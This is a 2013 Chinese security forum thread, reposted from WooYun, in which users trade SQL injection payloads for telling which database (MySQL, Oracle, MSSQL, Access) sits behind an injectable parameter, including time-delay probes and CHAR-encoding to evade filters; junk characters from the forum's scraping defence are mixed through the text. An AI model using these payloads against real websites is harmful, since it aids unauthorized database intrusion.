找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1901|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
* W- S  p8 ]' Q* P+ U6 u' Jxsser (十根阳具有长短!!) | 2013-02-05 12:36: |' b, v( ^6 ?0 k
假设这么一个注射点:
) k, N9 g5 N% zshow.html?id=2
" p5 d0 ?5 G  O, m# umysql:id=2 and version()>0
0 J& {5 G' q3 W' F2 coracle:id=2 and '1'||'1'='11
' ]; P! p3 T, `% i) c其他的欢迎补充
! a! d/ c# P. f1#% M+ L. s+ }+ l7 O6 ~$ ?
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
/ a/ F6 {9 l, k5 U# BAccess:, ]+ [; S) r% g( l
aNd aSc(cHr(97))=97
1 U- {: j& t# U  F, q5 ]and exists(select id from MSysAccessObjects)
7 U3 d8 U, v4 Q1 rSQL Server:" Z6 l# }6 G6 J  ~  s" l, \- E' v
and exists(select id from sysobjects)$ V/ B% b' r1 R: G/ k
and length(user)>0
/ }: X6 ?, V! j% k: m3 S; ~MySQL:6 w( Q$ V' r) Y6 U$ S( s9 T5 `7 A
and length(user())>0
: V* X5 h# Y6 O" L! `! G2#1 m6 ]" L1 o3 X# x- ?8 x
xsser (十根阳具有长短!!) | 2013-02-05 12:48* M. K: P) {' w% v9 s
@upload 如果这些都不是呢…
$ b0 }! W/ v  A7 E) d3#1 A0 q) x6 R( e5 O/ ]
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:036 h6 c- [5 ^8 z$ S
@xsser 不快速的,延时注入
" M  Q5 m  V# W9 b* @7 R不知道这样写对不对
; u0 q: T6 y) h( R- Y5 A& H3 tmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
) \- j2 E# a* Z+ h( j* `mysql:id=2 and select benchmark(1e8,current_date());
; H2 n2 u8 c! }5 h; U7 N4#9 a! Y- t4 ~! t0 W, P8 e
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
, S7 O. P: s+ K. M( _0 D5 s最快的貌似是看报错信息
5 h( K1 \9 i+ V2 F5 Toracle error
0 j5 ?) F3 d$ Q7 h2 l1 Wmssql error
, X: f6 M( C: U; A) O, zmysql error
4 `* F  }9 o& e7 q7 l5#- J9 S- w. X7 I$ K& N1 v  k+ f
Nimda (你们都是坏银~) | 2013-02-05 13:14  q; t6 G0 V9 L) |1 Z
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual); g& g* A- |6 b
6#
" |7 R. F. J- ?# @" k0 {( G. Vupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21& v3 e4 V8 X0 @7 Q" t. S! s* T
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:; B/ T# {; l9 x
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
: P9 S, I/ \- ]" ?* j“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
  o9 b( D, W* i! W2 d- G) J7#1 `! \3 C# F. p' b5 h$ u4 C. \
_Evil (HackEnd) | 2013-02-05 13:33
2 v8 S" }/ `. QPostgreSQL) n" u! _3 k7 ~+ G
8#6 I+ G5 Z% M( q- W2 s* `
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42# I. @4 ~+ p$ _2 h6 J! g
切换编码 and 1=1# `. w7 y  S9 t, c$ F* U
oracle:
' [! H9 m9 ^: p6 Z* s' ACHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
9 Q* Y" c4 b2 B3 ^7 {, ]mssql:
" \0 {; w( x) P/ a8 R0 CCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)% C1 }# x6 g4 g! x' p, g
mysql:; E- i6 q0 F: ~! d
CHAR(97, 110, 100, 32, 49, 61, 49). [; n3 |6 U- ^2 F7 X
9#: x, a1 f, D; o5 k( |% l
xsser (十根阳具有长短!!) | 2013-02-05 14:31
/ u: k' c1 E# @& v/ ?7 @@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
0 F! k1 i/ t- q5 w7 g10#
9 m* {- r; v6 ?upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:465 U; @" f" J* G& I, x
@xsser 是奇葩数据库类型的么?2 o8 Y' G$ L) ?  X
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:0 b/ X- N2 N3 C% u& j  g
1.是否可以使用特定的函数来判断,该数据库特有的0 S, X* t0 p6 W' |, e
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等) T( B* g2 O7 V2 Y( g' f
3.是否可以编码查询5 n' t2 u' E& ~! @8 ^) l0 D
4.是否显可以利用错信息0 T" ^- h0 r: y- ?* M  Q
5.是否存在数据库某些特性辅助判断
2 B4 A1 F6 {4 T; M! Z个人见解
6 u7 x+ C9 V* Z) X9 |5 v6 S11#( d  W+ T* G  e/ f
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
( a+ d$ y+ I8 p- f已收藏,mssql可以直接看到错误提示的吧~- t+ c2 j6 R. `) d6 P) k
12#
. z: O5 \8 R. k( ]( g3 }3 B! ZPasser_by | 2013-02-05 15:09
+ l  O/ ]# O5 j1 H' V, K曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
! T3 P9 i/ S8 Z) ]from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表